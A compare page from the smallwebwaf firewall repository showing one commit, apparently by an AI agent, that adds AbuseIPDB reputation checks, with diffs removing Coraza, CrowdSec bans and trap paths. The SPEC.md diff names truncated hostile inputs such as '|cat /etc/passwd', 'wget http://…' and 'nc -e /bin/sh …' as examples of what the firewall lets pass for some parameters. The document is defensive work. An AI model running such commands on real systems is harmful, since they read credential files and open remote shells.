sneak/smallwebwaf
1
0
Fork 0
Code Issues 47 Pull Requests 1 Actions 40 Packages Projects Releases Wiki Activity

Compare commits

base: sneak/smallwebwaf:next
Branches Tags
sneak/smallwebwaf:main sneak/smallwebwaf:next
..
compare: sneak/smallwebwaf:2672fc3b341cbeab5de8cd2aca9e306462e6e371
Branches Tags
sneak/smallwebwaf:next sneak/smallwebwaf:main
1 Commits
next .. 2672fc3b34
Author SHA1 Message Date
clawbot 2672fc3b34 AbuseIPDB scores for clients that committed an offence, within a daily budget (closes #105)
check / check (push) Waiting to run
Details 
With SWWAF_ABUSEIPDB_KEY set, a client whose history counts an offence
(a broken limit, a ban rule's match or a block rule's refusal, counted
by kind) is checked in the background, at most
SWWAF_ABUSEIPDB_DAILY_BUDGET checks a day, the count kept in
reputation.json. A client, an IPv4 address or an IPv6 /64, is checked by
the address it sent from, and its score serves all its addresses. A
score at or over SWWAF_ABUSEIPDB_MIN_SCORE is a hit for
SWWAF_REPUTATION_ACTION, logged as abuseipdb and alerted with its score.
A failure or the used-up budget gives no score and raises
source_failure. The key goes only in the Key header.

Judgement call: the budget's day is UTC; AbuseIPDB documents no reset time.
Judgement call: each check sent spends budget; a minute's pause after a failure.

Model: opus-5-5
 2026-10-07 20:22:37 +00:00
62 changed files with 744 additions and 5895 deletions
Expand all files Collapse all files
Dockerfile
+5 -9
View File
@@ -36,12 +36,11 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
# after this step, and writing it into the image takes seconds.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
go test -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
go test -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
@@ -85,10 +84,7 @@ COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
# build: git is missing or could not read the checkout.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
@@ -97,7 +93,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
README.md
+334 -717
View File
File diff suppressed because it is too large Load Diff
SPEC.md
+4 -6
View File
@@ -618,12 +618,10 @@ The settings, by group:
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
script injection and PHP, Java and Node.js code are still refused
there, and every other parameter keeps all three rules. These names,
and `redirect_uri` in the change before, are matched without regard to
case, as Coraza matches them, so `Path` or `PATH` is treated as
`path`. An app that uses one of these parameters as a file on the
server, or passes it to a shell, gets no help from the three rules
there (see "Risks the design has to handle").
there, and every other parameter keeps all three rules. An app that
uses one of these parameters as a file on the server, or passes it to
a shell, gets no help from the three rules there (see "Risks the
design has to handle").
- The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies, and does not check `Referer` for a Unix command
given without arguments (932340) or for Java starting a process
go.mod
-19
View File
@@ -3,8 +3,6 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
@@ -15,29 +13,12 @@ require (
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
go.sum
-55
View File
@@ -2,54 +2,22 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -60,15 +28,6 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -77,21 +36,7 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
internal/alerts/alerts.go
+3 -6
View File
@@ -44,13 +44,10 @@ const (
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
// EventReputationHit is a request whose client a blocklist or a DNSBL
// zone lists, or whose AbuseIPDB score is a hit.
EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
internal/anomaly/anomaly.go
+2 -4
View File
@@ -27,8 +27,7 @@ const maxCounters = 20000
// The scopes, what a counter counts, as the settings, alerts.json and the
// alerts name them.
const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX.
// ScopeClient is one client: an IPv4 address, or an IPv6 /64.
ScopeClient = "client"
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
// or SWWAF_ANOMALY_NET_V6_PREFIX long.
@@ -104,8 +103,7 @@ type Counter struct {
// Request is a request that has ended, as the counters count it.
type Request struct {
// Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX its address is in.
// counted as: its IPv4 address, or its IPv6 /64.
Client netip.Addr
ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when
internal/bans/admin_test.go
+3 -4
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
@@ -118,7 +117,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
}
held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
if len(held) != 2 || held[0] != lifted {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
}
}
@@ -213,7 +212,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
"probes for logins")
if !reflect.DeepEqual(got, want) {
if got != want {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
}
@@ -225,7 +224,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
// It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
if !banned || !reflect.DeepEqual(ban, want) {
if !banned || ban != want {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
ban, banned, want)
}
internal/bans/bans.go
+43 -113
View File
@@ -1,10 +1,8 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
// netblocks of clients that break a rate limit or a byte limit or show a
// clear sign of attack, and those an admin makes, with their notes, as
// the "Bans" section of SPEC.md describes. The bans are kept in memory,
// and written to bans.json and read from it by the state package.
package bans
import (
@@ -28,9 +26,6 @@ const (
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
// admin keeps. It is never dropped.
CauseAdmin = "admin"
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
)
// repeatFactor is how many times as long as the netblock's last ban a ban
@@ -45,9 +40,9 @@ type Rules struct {
// LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack or for
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban.
// ban that ended last, other than one for a clear sign of attack, a
// broken limit counts as a repeat, which bans for repeatFactor times as
// long as that ban.
LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead.
@@ -68,11 +63,10 @@ type Ban struct {
Start time.Time
// Expires is when the ban ends, zero for a permanent ban.
Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
// Cause is CauseLimit, CauseAttack or CauseAdmin.
Cause string
// Reason is a short text: for a ban smallwebwaf made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
// Reason is a short text: for a ban smallwebwaf made, the limit broken
// or the rule that matched; for an admin's, what the admin wrote.
Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next
@@ -104,11 +98,10 @@ type Notes struct {
ASName string `json:"as_name"`
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// what the limit was on, "requests" for a rate limit or "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour"
// or "day", and the count reached: the client's requests, or bytes, in
// the window, those of the request that broke the limit included.
// These are what counted toward the ban, and the window is the time
// over which they came.
Kind string `json:"kind,omitempty"`
@@ -122,18 +115,11 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"`
// of the rule file rule that matched, and its target.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
// Request is the request that broke the limit, or whose bytes broke
// it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
// it, or that was the clear sign of attack.
Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so
@@ -145,22 +131,11 @@ type Notes struct {
EarlierBans EarlierBans `json:"earlier_bans"`
}
// ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct {
Source string `json:"source"`
Score *int64 `json:"score,omitempty"`
}
// EarlierBans counts a netblock's bans before a ban, by cause.
type EarlierBans struct {
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
}
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -288,8 +263,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// last, other than one for a clear sign of attack or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is
@@ -300,7 +274,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true)
}
// WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -308,18 +282,18 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false)
}
// BanForAttack bans netblock at now for a clear sign of attack, with
// notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
// the rule <RuleID>".
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true)
}
// WouldBanForAttack returns what BanForAttack would, without making the
@@ -327,35 +301,12 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
false)
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false)
}
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// decision on the client ends, with notes, and returns the ban, and
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
true)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
false)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
// or CauseAttack, made at now would be permanent, as BanForLimit or
// BanForAttack would make it. It works out nothing else of the ban.
func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string,
) bool {
@@ -367,14 +318,11 @@ func (l *Ledger) WouldBePermanent(
held = *bans
}
switch cause {
case CauseAttack:
if cause == CauseAttack {
return l.attackExpiry(held, now).IsZero()
case CauseLimit:
return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
}
return l.limitExpiry(held, now).IsZero()
}
// limitReason is the reason of a ban for a broken limit, with notes.
